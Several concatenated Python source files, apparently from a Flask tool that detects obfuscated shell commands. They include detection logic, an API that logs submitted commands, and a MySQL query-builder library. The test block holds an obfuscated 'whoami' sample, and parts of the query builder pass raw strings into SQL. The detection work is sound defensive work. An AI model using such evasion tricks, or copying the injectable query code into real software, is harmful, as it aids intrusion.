win_identification['res'] = 0 win_identification['obfuscated'] = False win_identification['reason'] ='' self.end_time = time.time() win_identification['measure_time'] = str(round(self.end_time - self.start_time,5)) + 's' win_identification['hash'] = 'sha256: ' + self._hash_calc() win_identification['platform'] = 'windows' win_identification['cmd'] = self.original_cmd return win_identification special_res = win_special_detect_plugin(self.cmd).result generic_res = win_generic_detect_plugin(self.cmd).result app.logger.info('[+]win_special_res: '+str(special_res)) app.logger.info('[+]win_generic_res: '+str(generic_res)) if generic_res['obfuscated'] == True: win_identification = dict() win_identification['res'] = 0 if len(self.cmd) >= 50: win_identification['obfuscated'] = generic_res['obfuscated'] win_identification['reason'] = generic_res['reason'] else: win_identification['obfuscated'] = 'suspicious' win_identification['reason'] = 'windows.suspicious.generic' self.end_time = time.time() win_identification['measure_time'] = str(round(self.end_time - self.start_time,5)) + 's' win_identification['hash'] = 'sha256: ' + self._hash_calc() win_identification['platform'] = 'windows' win_identification['cmd'] = self.original_cmd return win_identification elif generic_res['obfuscated'] == False and special_res['obfuscated'] == True: win_identification = dict() win_identification['res'] = 0 win_identification['obfuscated'] = special_res['obfuscated'] win_identification['reason'] = special_res['reason'] self.end_time = time.time() win_identification['measure_time'] = str(round(self.end_time - self.start_time,5)) + 's' win_identification['hash'] = 'sha256: ' + self._hash_calc() win_identification['platform'] = 'windows' win_identification['cmd'] = self.original_cmd return win_identification else: win_identification = dict() win_identification['res'] = 0 win_identification['obfuscated'] = False win_identification['reason'] = '' self.end_time = time.time() win_identification['measure_time'] = str(round(self.end_time - self.start_time,5)) + 's' win_identification['hash'] = 'sha256: ' + self._hash_calc() win_identification['platform'] = 'windows' win_identification['cmd'] = self.original_cmd return win_identification def not_sure_identify(self): linux_identify_res = self.linux_identify() if linux_identify_res['obfuscated'] == True: linux_identify_res['likely_platform'] = 'linux' linux_identify_res.pop('platform') return linux_identify_res else: win_identify_res = self.win_identify() if win_identify_res['obfuscated'] == True or win_identify_res['obfuscated'] == 'suspicious': win_identify_res['likely_platform'] = 'windows' win_identify_res.pop('platform') return win_identify_res else: not_sure_res = linux_identify_res not_sure_res['likely_platform'] = '' return not_sure_res if __name__ == '__main__': #test sample = 'ki=w;das=ho;qq=ami;$ki$das$qq' print('input cmd: '+sample) a = smart_detect(sample) out = a.linux_identify() --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- """ Flerken detection page control center """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" from flask import render_template, request, redirect, url_for from flerken import app import html import json from .control.smart_detect import smart_detect from .lib.mysql_conn import * from datetime import datetime @app.route('/detection', methods = ['GET']) def detection_index(): return render_template("detection.html") @app.route('/v1/detect/result.json', methods = ['POST']) def detect_api(): cmd = request.form['cmd'] if ('cmd' in request.form.keys()) else '' platform = request.form['platform'] if ('platform' in request.form.keys()) else 'not_sure' #delete spaces and fix unicode cmd = html.unescape(cmd).lstrip().rstrip() cmd = cmd.replace(u'\xa0', u' ') #print(cmd) #cmd is null or space if len(cmd) == 0: result = {'res': -1, 'message': 'Length of your input command is zero, please check it and try again!'} return json.dumps(result) else: if platform == 'linux': res = smart_detect(cmd).linux_identify() db_info = {} db_info['rid'] = 0 db_info['cmd'] = res['cmd'] db_info['hash'] = res['hash'] db_info['obfuscated'] = str(res['obfuscated']) db_info['likely_platform'] = res['platform'] db_info['selected_platform'] = 'linux' db_info['reason'] = res['reason'] db_info['measure_time'] = res['measure_time'] try: db_info['submit_ip'] = request.headers['X-Real-IP'] except Exception: db_info['submit_ip'] = request.remote_addr db_info['submit_time'] = datetime.now().strftime("%Y-%m-%d %H:%M:%S") Results = M('results') Results.add(db_info) return json.dumps(res) elif platform == 'windows': res = smart_detect(cmd).win_identify() db_info = {} db_info['rid'] = 0 db_info['cmd'] = res['cmd'] db_info['hash'] = res['hash'] db_info['obfuscated'] = str(res['obfuscated']) db_info['likely_platform'] = res['platform'] db_info['selected_platform'] = 'windows' db_info['reason'] = res['reason'] db_info['measure_time'] = res['measure_time'] try: db_info['submit_ip'] = request.headers['X-Real-IP'] except Exception: db_info['submit_ip'] = request.remote_addr db_info['submit_time'] = datetime.now().strftime("%Y-%m-%d %H:%M:%S") Results = M('results') Results.add(db_info) return json.dumps(res) elif platform == 'not_sure': res = smart_detect(cmd).not_sure_identify() db_info = {} db_info['rid'] = 0 db_info['cmd'] = res['cmd'] db_info['hash'] = res['hash'] db_info['obfuscated'] = str(res['obfuscated']) db_info['likely_platform'] = res['likely_platform'] db_info['selected_platform'] = 'not_sure' db_info['reason'] = res['reason'] db_info['measure_time'] = res['measure_time'] try: db_info['submit_ip'] = request.headers['X-Real-IP'] except Exception: db_info['submit_ip'] = request.remote_addr db_info['submit_time'] = datetime.now().strftime("%Y-%m-%d %H:%M:%S") Results = M('results') Results.add(db_info) return json.dumps(res) else: result = {'res': -1, 'message': 'PLatform should be choosed in following list ["linux", "windowd", "not_sure"]'} return json.dumps(result) --- FILE SEPARATOR --- #!/usr/bin/python # -*-coding:utf-8-*- """ Flerken landing page control center """ __author__ = 'Yao Zhang & Zhiyang Zeng' __copyright__ = "Copyright 2019, Apache License 2.0" from flask import render_template, request, redirect, url_for, make_response, send_from_directory from flerken import app import os @app.route('/', methods = ['GET']) @app.route('/landing', methods = ['GET']) def landing(): return render_template("landing.html") @app.route('/doc/<filename>', methods = ['GET']) def doc(filename): file_path = os.getcwd()+'/doc' response = make_response(send_from_directory(file_path,filename.encode('utf-8').decode('utf-8'))) response.headers["Content-Type"] = "application/pdf" return response --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- # https://github.com/frankie-huang/pythonMySQL import sys,os sys.path.append(os.getcwd()+'/flerken/config') from global_config import DB_CONFIG import mysql.connector import traceback import re import datetime class pythonMySQL(object): configs = {} current = 0 config = {} con = None cur = None dbdebug = False database = '' table_name = '' columns = [] connected = False queryStr = '' SQLerror = {} lastInsertId = 0 numRows = 0 tmp_table = '' aliasString = '' fieldString = '' joinString = '' whereString = '' groupString = '' havingString = '' orderString = '' limitString = '' fetchSql = False whereStringArray = [] whereValueArray = [] SQL_logic = ['AND', 'OR', 'XOR'] def __init__(self, dbtable, ConfigID=0, dbConfig=None): if not isinstance(ConfigID, (int, str)): self.throw_exception("ConfigID need to be input as str or int", True) self.columns = [] self.whereStringArray = [] self.whereValueArray = [] self.SQLerror = {} if ConfigID in pythonMySQL.configs: self.init(ConfigID, dbtable) return if dbConfig == None: if not isset('DB_CONFIG'): self.throw_exception("undefined DB_CONFIG", True) if ConfigID not in DB_CONFIG: self.throw_exception( "There is no " + (str(ConfigID) if isinstance(ConfigID, int) else "'" + ConfigID + "'") + "in config", True) if ConfigID == 0: dbConfig = DB_CONFIG[0] else: dbConfig = dict(DB_CONFIG[0]) dbConfig.update(DB_CONFIG[ConfigID]) if 'DB_DEBUG' in dbConfig: if dbConfig['DB_DEBUG'] == True: self.dbdebug = True del dbConfig['DB_DEBUG'] if 'password' not in dbConfig: if 'password' in DB_CONFIG[0]: dbConfig['password'] = DB_CONFIG[0]['password'] else: self.throw_exception('password not be setted') if 'host' not in dbConfig: dbConfig['host'] = '127.0.0.1' if 'user' not in dbConfig: dbConfig['user'] = 'root' if 'port' not in dbConfig: dbConfig['port'] = '3306' if 'autocommit' not in dbConfig: dbConfig['autocommit'] = True pythonMySQL.configs[ConfigID] = dbConfig self.current = ConfigID self.config = dbConfig self.database = dbConfig['database'] self.init(self.current, dbtable) def init(self, current, dbtable): self.current = current self.config = pythonMySQL.configs[current] self.con = mysql.connector.connect(**self.config) self.cur = self.con.cursor(dictionary=True) if 'DB_DEBUG' in self.config and self.config['DB_DEBUG'] == True: self.dbdebug = True self.database = self.config['database'] if self.in_db(dbtable): self.table_name = dbtable else: self.throw_exception('table ' + dbtable + 'not exists in ' + self.config['database']) self.connected = True def in_db(self, dbtable): self.cur.execute('show tables') tables = self.cur.fetchall() key = 'Tables_in_' + self.database for table in tables: if dbtable == table[key]: return True return False def set_columns(self, dbtable): self.cur.execute("SHOW COLUMNS FROM `" + dbtable + "`") columns = self.cur.fetchall() self.columns = ['', ] for column in columns: if column['Key'] == 'PRI': self.columns[0] = column['Field'] self.columns.append(column['Field']) def get_columns(self): return self.cur.column_names # where("id = 1 and nick = 'frankie'") # where("id = %d and nick = '%s'", 1, 'frankie') # where("id = %d and nick = '%s'", (1, 'frankie')) # where("id = %d and nick = '%s'", [1, 'frankie']) ###### # where({'id':1, 'nick':'frankie'}) # where({'id&nick':"1"}) # WHERE `id`='1' AND `nick`='1' # where({'id&nick':[1, 'frankie']}) = where({'id&nick':[1, 'frankie', '', 's']}) # where({'id':[1, 2, 3, 'or', 'm']}) # WHERE `id`=1 OR `id`=2 OR `id`=3 # where({'id&nick':[1, 'frankie', 'or', 'm']}) # WHERE (`id`=1 OR `id`='frankie') AND (`nick`=1 OR `nick`='frankie') def where(self, *where): param_number = len(where) if isinstance(where[0], str): if param_number == 1: whereSubString = '( ' + where[0] + ' )' elif param_number > 1: if isinstance(where[1], tuple): whereSubString = where[0] % where[1] elif isinstance(where[1], list): whereSubString = where[0] % tuple(where[1]) else: param_array = [] for i in range(1, param_number): param_array.append(where[i]) whereSubString = where[0] % tuple(param_array) whereSubString = '( ' + whereSubString + ' )' elif isinstance(where[0], dict): whereSubString = self._parseWhereArrayParam(where[0]) else: self.throw_exception("where condition only accepts dict or string") self.whereStringArray.append(whereSubString) return self def parseWhere(self): length = len(self.whereStringArray) if length == 0: return if length > 1: self.whereString = ' WHERE ( ' + self.whereStringArray[0] + ' )' for i in range(1, length): self.whereString += ' AND ( ' + self.whereStringArray[i] + ' )' else: self.whereString = ' WHERE ' + self.whereStringArray[0] # table('table_name') | table('table_name AS t') | table('database.table_name AS t1') # table({'table_name':'', 'table_name':'t', 'database.table_name':'t1'}) def table(self, table): if isinstance(table, str): self.tmp_table = table elif isinstance(table, dict): if len(table) == 0: self.throw_exception('no table selected') self.tmp_table = '' for key, val in table.items(): if val != '': strpos = key.find('.') if strpos == -1: self.tmp_table += '`' + key.strip() + '` AS `' + val.strip() + '`,' else: self.tmp_table += key.strip() + ' AS `' + val.strip() + '`,' else: strpos = key.find('.') if strpos == -1: self.tmp_table += '`' + key.strip() + '`,' else: self.tmp_table += key.strip() + ',' self.tmp_table = self.tmp_table.rstrip(',') else: self.throw_exception('table condition input error:"' + table + '"') return self def alias(self, alias): self.aliasString = ' AS `' + alias + '`' return self # field() | field('') | field('*') | field(True) | field('id,username as name, db.pass') # field({'id':'', 'username':'name', 'db.pass':''}) # field('sex,head', True) | field(('sex', 'head'), True) def field(self, field='', filter=False): if field == True: self.set_columns(self.table_name if not self.tmp_table else self.tmp_table) self.fieldString += ' ' columns_array = self.columns columns_array.pop(0) for column in columns_array: self.fieldString += '`' + column + '`,' self.fieldString = self.fieldString.rstrip(',') return self if filter: if not isinstance(field, (str, set, list, tuple)): self.throw_exception("filter only accepts set、list、tuple") self.set_columns(self.table_name if self.tmp_table == '' else self.tmp_table) columns_list = self.columns columns_list.pop(0) columns_dict = {} for index, item in enumerate(columns_list): columns_dict[str(index)] = item explode_array = [] if isinstance(field, str): explode_array = re.split('\s{0,},\s{0,}', field.strip()) else: for single_field in field: explode_array.append(single_field.strip()) for index, item in list(columns_dict.items()): if item in explode_array: columns_dict.pop(index) for index, item in columns_dict.items(): self.fieldString += '`' + item + '`,' self.fieldString = ' ' + self.fieldString.rstrip(',') return self if field == '' or field == '*': self.fieldString = ' *' return self if isinstance(field, str): field_array = field.split(',') field_array = list(map(self._addSpecialChar, field_array)) self.fieldString = ','.join([item for item in field_array]) elif isinstance(field, dict): for key, val in field.items(): if val == '': after_process_key = self._addSpecialChar(key) self.fieldString += after_process_key + ',' else: after_process_key = self._addSpecialChar(key) after_process_val = self._addSpecialChar(val) self.fieldString += after_process_key + ' AS ' + after_process_val + ',' self.fieldString = self.fieldString.rstrip(',') else: self.throw_exception("field condition only suport dict") self.fieldString = ' ' + self.fieldString return self def order(self, order): if isinstance(order, str): self.orderString = ' ORDER BY ' + order elif isinstance(order, dict): self.orderString = ' ORDER BY ' for key, val in order.items(): if val == '': self.orderString += '`' + key.strip() + '`,' else: if val.lower() != 'asc' and val.lower() != 'desc': self.throw_exception("please use asc or desc in order,default is asc,unknow sort method detected") self.orderString += '`' + key.strip() + '` ' + val + ',' self.orderString = self.orderString.rstrip(',') else: self.throw_exception("order condition only accepts dict or string") return self def limit(self, *limit): param_number = len(limit) if param_number == 1: if not isinstance(limit[0], (int, str)): self.throw_exception("illegal limit query") if isinstance(limit[0], str): if not re.match('^\d+\s{0,},\s{0,}\d+$', limit[0].strip()) and not re.match('^\d+$', limit[0].strip()): self.throw_exception("illegal limit query") self.limitString = ' LIMIT ' + str(limit[0]) elif param_number == 2: for i in range(2): if not is_numeric(limit[i]): self.throw_exception("illegal limit query") self.limitString = ' LIMIT ' + str(limit[0]) + ',' + str(limit[1]) else: self.throw_exception("limit condition need 1 argument at least, 2 arguments at most") return self def page(self, page_number, amount): if not is_numeric(page_number) or not is_numeric(amount): self.throw_exception("page need input page_number and count in every page") start = (int(page_number) - 1) * int(amount) self.limitString = ' LIMIT ' + str(start) + ',' + str(amount) return self def group(self, group): if not isinstance(group, str): self.throw_exception("group only accepts string") self.groupString = ' GROUP BY ' + group return self def having(self, having): if not isinstance(having, str): self.throw_exception("having only accepts string") self.havingString = ' HAVING BY ' + having return self def join(self, join): if isinstance(join, str): self.joinString += ' INNER JOIN ' + join elif isinstance(join, (list, tuple)): if len(join) != 2: self.throw_exception("join condition need 2 arguments at least") self.joinString += ' ' + join[1] + ' JOIN ' + join[0] else: self.throw_exception("join only accepts str、list、tuple") return self def fetchSql(self, fetchSql=True): self.fetchSql = fetchSql return self def count(self, field='*'): self.fieldString = ' COUNT(' + field + ') AS f_count' self.limitString = ' LIMIT 1' is_fetchSql = False if self.fetchSql == True: is_fetchSql = True res = self.select() if is_fetchSql: return res else: return res[0]['f_count'] def max(self, field): self.fieldString = ' MAX(' + field + ') AS f_max' self.limitString = ' LIMIT 1' is_fetchSql = False if self.fetchSql == True: is_fetchSql = True res = self.select() if is_fetchSql: return res else: return res[0]['f_max'] def min(self, field): self.fieldString = ' MIN(' + field + ') AS f_min' self.limitString = ' LIMIT 1' is_fetchSql = False if self.fetchSql == True: is_fetchSql = True res = self.select() if is_fetchSql: return res else: return res[0]['f_min'] def avg(self, field): self.fieldString = ' AVG(' + field + ') AS f_avg' self.limitString = ' LIMIT 1' is_fetchSql = False if self.fetchSql == True: is_fetchSql = True res = self.select() if is_fetchSql: return res else: return res[0]['f_avg'] def sum(self, field): self.fieldString = ' SUM(' + field + ') AS f_sum' self.limitString = ' LIMIT 1' is_fetchSql = False if self.fetchSql == True: is_fetchSql = True res = self.select() if is_fetchSql: return res else: return res[0]['f_sum'] def buildSql(self): sqlString = '' if self.tmp_table != '': table_name = self.tmp_table + self.aliasString else: table_name = '`' + self.table_name + '`' + self.aliasString self.fieldString = ' *' if self.fieldString == '' else self.fieldString self.parseWhere() sqlString += 'SELECT' + self.fieldString + ' FROM ' + table_name + self.joinString + self.whereString + self.groupString + self.havingString + self.orderString + self.limitString buildSql = self._replaceSpecialChar('%s', self.whereValueArray, sqlString) self._clearSubString() return '( ' + buildSql + ' )' def find(self, primary_key_value=''): sqlString = '' if self.tmp_table != '': table_name = self.tmp_table + self.aliasString else: table_name = '`' + self.table_name + '`' + self.aliasString if primary_key_value != '': self.set_columns(self.table_name if self.tmp_table == '' else self.tmp_table) self.whereStringArray.append('`' + self.columns[0] + '` = %s') self.whereValueArray.append(primary_key_value) self.limitString = ' LIMIT 1' self.fieldString = ' *' if self.fieldString == '' else self.fieldString self.parseWhere() sqlString += 'SELECT' + self.fieldString + ' FROM ' + table_name + self.joinString + self.whereString + self.groupString + self.havingString + self.orderString + self.limitString res = self.query(sqlString, True) return res def select(self, query=True): sqlString = '' if self.tmp_table != '': table_name = self.tmp_table + self.aliasString else: table_name = '`' + self.table_name + '`' + self.aliasString self.fieldString = ' *' if self.fieldString == '' else self.fieldString self.parseWhere() sqlString += 'SELECT' + self.fieldString + ' FROM ' + table_name + self.joinString + self.whereString + self.groupString + self.havingString + self.orderString + self.limitString if query == False: self.fetchSql = True res = self.query(sqlString) return res def add(self, data=''): field_str = '' if data != '': if not isinstance(data, dict): self.throw_exception('add only accepts dict') length = len(data) if length == 0: placeholder = '' else: for key, val in data.items(): field_str += '`' + key + '`,' self.whereValueArray.append(val) field_str = field_str.rstrip(',') placeholder = '%s' for i in range(1, length): placeholder += ',%s' else: placeholder = '' if self.tmp_table != '': table_name = self.tmp_table else: table_name = '`' + self.table_name + '`' sqlString = 'INSERT INTO ' + table_name + ' (' + field_str + ') VALUES (' + placeholder + ')' res = self.execute(sqlString) if isinstance(res, str) or res == False: return res self.lastInsertId = self.cur.lastrowid return self.lastInsertId def addAll(self, dataList): if not isinstance(dataList, (list, tuple)): self.throw_exception('addAll only accepts list、tuple') field_str = '' fieldList = [] number = len(dataList) valueListStr = '' if number == 0: self.throw_exception('addAll not accepts empty dict') if not isinstance(dataList[0], dict): self.throw_exception('the argument in the addAll method must be a list or tuple consisting of a dictionary') number_field = len(dataList[0]) if number_field == 0: valueListStr += '()' for i in range(1, number): if not isinstance(dataList[i], dict): self.throw_exception('the argument in the addAll method must be a list or tuple consisting of a dictionary') valueListStr += ',()' else: valueStr = '(' for key, val in dataList[0].items(): fieldList.append(key) self.whereValueArray.append(val) field_str += key + ',' valueStr += '%s,' field_str = field_str.rstrip(',') valueStr = valueStr.rstrip(',') valueStr += ')' valueListStr += valueStr for i in range(1, number): for j in range(number_field): self.whereValueArray.append(dataList[i][fieldList[j]]) valueListStr += ',' + valueStr if self.tmp_table != '': table_name = self.tmp_table else: table_name = '`' + self.table_name + '`' sqlString = 'INSERT INTO ' + table_name + ' (' + field_str + ') VALUES ' + valueListStr res = self.execute(sqlString) if isinstance(res, str) or res == False: return res self.lastInsertId = self.cur.lastrowid return self.lastInsertId def setField(self, *field): param_number = len(field) if field == 0: self.throw_exception('setField condition is empty') self.parseWhere() if self.whereString == '': self.set_columns(self.table_name if self.tmp_table == '' else self.tmp_table) if isinstance(field[0], dict) and self.columns[0] != '' and self.columns[0] in field[0]: if isinstance(field[0][self.columns[0]], (list, tuple)): if field[0][self.columns[0]][0].upper() == 'EXP': self.whereString = ' WHERE `' + self.columns[0] + '` = ' + field[0][self.columns[0]][1].strip() else: self.throw_exception('setField only accepts EXP') else: self.whereString = ' WHERE `' + self.columns[0] + '` = %s' self.whereValueArray.append(field[0][self.columns[0]]) del field[0][self.columns[0]] elif self.columns[0] == '': self.throw_exception('there are no update conditions, and the specified data table has no primary key and is not allowed to perform update operations') else: self.throw_exception('there are no update conditions, the data object itself does not contain a primary key field, and is not allowed to perform update operations') setFieldStr = '' updateValueArray = [] if isinstance(field[0], str): if param_number != 2: self.throw_exception('the setField clause receives two parameters (property name, attribute value)') if field[0].find('.') == -1: setFieldStr += '`' + field[0].strip() + '` = %s' else: setFieldStr += field[0].strip() + ' = %s' updateValueArray.append(field[1]) elif isinstance(field[0], dict): if param_number != 1: self.throw_exception('the setField only accepts dict') for key, val in field[0].items(): if isinstance(val, (list, tuple)): if val[0].upper() == 'EXP': if key.find('.') == -1: setFieldStr += '`' + key.strip() + '` = ' + val[1].strip() + ',' else: setFieldStr += key.strip() + ' = ' + val[1].strip() + ',' else: self.throw_exception('setField only accepts EXP') else: if key.find('.') == -1: setFieldStr += '`' + key.strip() + '` = %s,' else: setFieldStr += key.strip() + ' = %s,' updateValueArray.append(val) setFieldStr = setFieldStr.rstrip(',') else: self.throw_exception('setField argument input error:' + field[0]) self.whereValueArray = updateValueArray + self.whereValueArray if self.tmp_table != '': table_name = self.tmp_table + self.aliasString else: table_name = '`' + self.table_name + '`' + self.aliasString sqlString = 'UPDATE ' + table_name + self.joinString + ' SET ' + setFieldStr + self.whereString + self.orderString + self.limitString res = self.execute(sqlString) return res def setInc(self, field, value=1): data = {} data[field] = ['EXP', field + ' + ' + str(value)] return self.save(data) def setDec(self, field, value=1): data = {} data[field] = ['EXP', field + ' - ' + str(value)] return self.save(data) def save(self, data): if not isinstance(data, dict): self.throw_exception('save only accepts dict') self.parseWhere() if self.whereString == '': self.set_columns(self.table_name if self.tmp_table == '' else self.tmp_table) if self.columns[0] != '' and self.columns[0] in data: if isinstance(data[self.columns[0]], (list, tuple)): if data[self.columns[0]][0].upper() == 'EXP': self.whereString = ' WHERE `' + self.columns['PRI'] + '` = ' + data[self.columns[0]][1].strip() else: self.throw_exception('save only accepts EXP') else: self.whereString = ' WHERE `' + self.columns[0] + '` = %s' self.whereValueArray.append(data[self.columns[0]]) del data[self.columns[0]] elif self.columns[0] == '': self.throw_exception('there are no update conditions, and the specified data table has no primary key and is not allowed to perform update operations') else: self.throw_exception('there are no update conditions, the data object itself does not contain a primary key field, and is not allowed to perform update operations') setFieldStr = '' updateValueArray = [] for key, val in data.items(): if isinstance(val, (list, tuple)): if val[0].upper == 'EXP': if key.find('.') == -1: setFieldStr += '`' + key.strip() + '` = ' + val[1].strip() + ',' else: setFieldStr += key.strip() + ' = ' + val[1].strip() + ',' else: self.throw_exception('save only accepts EXP') else: if key.find('.') == -1: setFieldStr += '`' + key.strip() + '` = %s,' else: setFieldStr += key.strip() + ' = %s,' updateValueArray.append(val) setFieldStr = setFieldStr.rstrip(',') self.whereValueArray = updateValueArray + self.whereValueArray if self.tmp_table != '': table_name = self.tmp_table + self.aliasString else: table_name = '`' + self.table_name + '`' + self.aliasString sqlString = 'UPDATE ' + table_name + self.joinString + ' SET ' + setFieldStr + self.whereString + self.orderString + self.limitString res = self.execute(sqlString) return res def delete(self, table=''): sqlString = '' if self.tmp_table != '': table_name = self.tmp_table + self.aliasString else: table_name = '`' + self.table_name + '`' + self.aliasString if table != '': table = ' ' + table self.parseWhere() if self.whereString == '': if self.joinString == '' or self.joinString.upper().find(' ON ') == -1: self.throw_exception('no condition find, this operation not be allowed') sqlString = 'DELETE' + table + ' FROM ' + table_name + self.joinString + self.whereString + self.orderString + self.limitString res = self.execute(sqlString) return res def deleteById(self, primary_key_value, table=''): sqlString = '' if self.tmp_table != '': table_name = self.tmp_table + self.aliasString else: table_name = '`' + self.table_name + '`' + self.aliasString if table != '': table = ' ' + table if primary_key_value != '': self.set_columns(self.table_name if self.tmp_table == '' else self.tmp_table) self.whereStringArray.append('`' + self.columns[0] + '` = %s') self.whereValueArray.append(primary_key_value) self.parseWhere() sqlString = 'DELETE' + table + ' FROM ' + table_name + self.joinString + self.whereString res = self.execute(sqlString) return res def query(self, queryStr, is_find=False): if not isinstance(queryStr, str): self.throw_exception('query can only deal with string') if self.fetchSql == True: buildSql = self._replaceSpecialChar('%s', self.whereValueArray, queryStr) self._clearSubString() return buildSql try: self.queryStr = self._replaceSpecialChar('%s', self.whereValueArray, queryStr) tmp_whereValueArray = self.whereValueArray self._clearSubString() if len(tmp_whereValueArray) > 0: self.cur.execute(queryStr, tmp_whereValueArray) else: self.cur.execute(queryStr) if is_find == True: res = self.cur.fetchone() else: res = self.cur.fetchall() return res except mysql.connector.Error as err: return self.haveErrorThrowException(err) def execute(self, execStr): if not isinstance(execStr, str): self.throw_exception('execute can only deal with string') if self.fetchSql == True: buildSql = self._replaceSpecialChar('%s', self.whereValueArray, execStr) self._clearSubString() return buildSql try: self.queryStr = self._replaceSpecialChar('%s', self.whereValueArray, execStr) tmp_whereValueArray = self.whereValueArray self._clearSubString() if len(tmp_whereValueArray) > 0: self.cur.execute(execStr, tmp_whereValueArray) else: self.cur.execute(execStr) self.numRows = self.cur.rowcount return self.numRows except mysql.connector.Error as err: return self.haveErrorThrowException(err) # If consistent_snapshot is True, Connector/Python sends WITH CONSISTENT SNAPSHOT with the statement. MySQL ignores this for isolation levels for which that option does not apply. # isolation_level: permitted values are 'READ UNCOMMITTED', 'READ COMMITTED', 'REPEATABLE READ', and 'SERIALIZABLE' # The readonly argument can be True to start the transaction in READ ONLY mode or False to start it in READ WRITE mode. If readonly is omitted, the server's default access mode is used. def startTrans(self, consistent_snapshot=False, isolation_level=None, readonly=False): for link in pythonMySQL.links.values(): link.start_transaction(consistent_snapshot, isolation_level, readonly) def inTrans(self): return self.con.in_transaction def rollback(self): for link in pythonMySQL.links.values(): link.rollback() def commit(self): for link in pythonMySQL.links.values(): link.commit() def getLastSql(self): if not self.dbdebug: self.throw_exception('please set DEBUG to True') return self.queryStr def _sql(self): return self.cur.statement def _parseWhereArrayParam(self, whereArrayParam): logic = ' AND ' whereSubString = '' if '_complex' in whereArrayParam: whereSubString = '( ' + self._parseWhereArrayParam(whereArrayParam['_complex']) + ' )' del whereArrayParam['_complex'] if '_logic' in whereArrayParam: if whereArrayParam['_logic'].upper() in self.SQL_logic: logic = ' ' + whereArrayParam['_logic'].upper() + ' ' else: self.throw_exception('_logic in _query is not supported:"' + whereArrayParam['_logic'] + '"') del whereArrayParam['_logic'] if '_string' in whereArrayParam: whereSubString += logic + '( ' + whereArrayParam['_string'] + ' )' del whereArrayParam['_string'] if '_query' in whereArrayParam: explode_query = whereArrayParam['_query'].split('&') explode_array = {} for key_val in explode_query: explode_sub_query = key_val.split('=') explode_array[explode_sub_query[0]] = explode_sub_query[1] if '_logic' in explode_array: if explode_array['_logic'].upper() in self.SQL_logic: sub_logic = ' ' + explode_array['_logic'].upper() + ' ' else: self.throw_exception('_logic in _query is not supported:"' + explode_array['_logic'] + '"') del explode_array['_logic'] querySubString = '' for key, val in explode_array.items(): start = key.find('.') if start != -1: querySubString += sub_logic + key + " = '" + val + "'" else: querySubString += sub_logic + "`" + key + "` = '" + val + "'" querySubString = querySubString.lstrip(sub_logic) whereSubString += logic + '( ' + querySubString + ' )' del whereArrayParam['_query'] for key, val in whereArrayParam.items(): whereArraySubString = '' have_and = key.find('&') have_or = key.find('|') if isinstance(val, (list, tuple)): if have_and == -1 and have_or == -1: whereArraySubString += self._singleKey2Array(key, val) elif (have_and != -1 and have_or == -1) or (have_and == -1 and have_or != -1): if have_and != -1: string_logic = '&' sub_logic = ' AND ' else: string_logic = '|' sub_logic = ' OR ' explode_array = key.split(string_logic) signal = 1 if len(explode_array) == len(val): signal = 1 else: if val[-1] == '' or val[-1] == 's': signal = 1 elif val[-1] == 'm': signal = 2 elif val[-1] == 'e': signal = 3 else: self.throw_exception('this query method is not supported:"' + val[-1] + '"') if signal == 1: index = 0 for explode_val in explode_array: if isinstance(val[index], (list, tuple)): whereArraySubString += self._singleKey2Array(explode_val, val[index]) else: start = explode_val.find('.') if start != -1: whereArraySubString += sub_logic + explode_val + " = %s" else: whereArraySubString += sub_logic + "`" + explode_val + "` = %s" self.whereValueArray.append(val[index]) index += 1 elif signal == 2: for explode_val in explode_array: get_parseMultiQuery = self._parseMultiQuery(explode_val, val) whereArraySubString += sub_logic + get_parseMultiQuery else: for explode_val in explode_array: get_parseExpQuery = self._parseExpQuery(explode_val, val) whereArraySubString += sub_logic + get_parseExpQuery whereArraySubString = whereArraySubString.lstrip(sub_logic) whereArraySubString = '( ' + whereArraySubString + ' )' else: self.throw_exception('"|" and "&" cannot be used in the same time') else: start = key.find('.') if have_and == -1 and have_or == -1: if start != -1: whereArraySubString += key + " = %s" else: whereArraySubString += "`" + key + "` = %s" self.whereValueArray.append(val) elif (have_and != -1 and have_or == -1) or (have_and == -1 and have_or != -1): if have_and != -1: string_logic = '&' sub_logic = ' AND ' else: string_logic = '|' sub_logic = ' OR ' explode_array = key.split(string_logic) whereArraySubString = '' for explode_val in explode_array: start = explode_val.find('.') if start != -1: whereArraySubString += sub_logic + explode_val + " = %s" else: whereArraySubString += sub_logic + "`" + explode_val + "` = %s" self.whereValueArray.append(val) whereArraySubString = whereArraySubString.lstrip(sub_logic) whereArraySubString = '( ' + whereArraySubString + ' )' else: self.throw_exception('"|" and "&" cannot be used in the same time') whereSubString += logic + whereArraySubString whereSubString = whereSubString.lstrip(logic) return whereSubString def _singleKey2Array(self, key, array): if array[-1] == '' or array[-1] == 'm': return self._parseMultiQuery(key, array) elif array[-1] == 'e': return self._parseExpQuery(key, array) else: self.throw_exception('this query method is not supported"' + array[-1] + '"') def _parseExpQuery(self, column, array): expQueryString = '' start = column.find('.') specialChar_index = column.find('`') if specialChar_index == -1 and start == -1: column = '`' + column + '`' exp_type = array[0].upper() if exp_type == "EQ": expQueryString += column + ' = %s' self.whereValueArray.append(array[1]) elif exp_type == "NEQ": expQueryString += column + ' <> %s' self.whereValueArray.append(array[1]) elif exp_type == "GT": expQueryString += column + ' > %s'; self.whereValueArray.append(array[1]) elif exp_type == "EGT": expQueryString += column + ' >= %s'; self.whereValueArray.append(array[1]) elif exp_type == "LT": expQueryString += column + ' < %s'; self.whereValueArray.append(array[1]) elif exp_type == "ELT": expQueryString += column + ' <= %s'; self.whereValueArray.append(array[1]) elif exp_type == "LIKE" or exp_type == "NOTLIKE" or exp_type == "NOT LIKE": if exp_type == "LIKE": string = ' LIKE ' else: string = ' NOT LIKE ' if isinstance(array[1], (list, tuple, set)): logic = ' AND ' if array[2] != '': if array[2].upper() in self.SQL_logic: logic = ' ' + array[2].upper() + ' ' else: self.throw_exception('the logical operators in [NOT] LIKE"' + array[2] + '"is not supported') for val in array[1]: expQueryString += logic + column + string + ' %s' self.whereValueArray.append(str(val)) expQueryString = expQueryString.lstrip(logic) expQueryString = '( ' + expQueryString + ' )' elif isinstance(array[1], str): expQueryString += column + string + ' %s' self.whereValueArray.append(array[1]) else: self.throw_exception('the 2rd params of [NOT] LIKE need to be str、list、tuple、set') elif exp_type == "BETWEEN" or exp_type == "NOTBETWEEN" or exp_type == "NOT BETWEEN": # example array('between','1,8') | 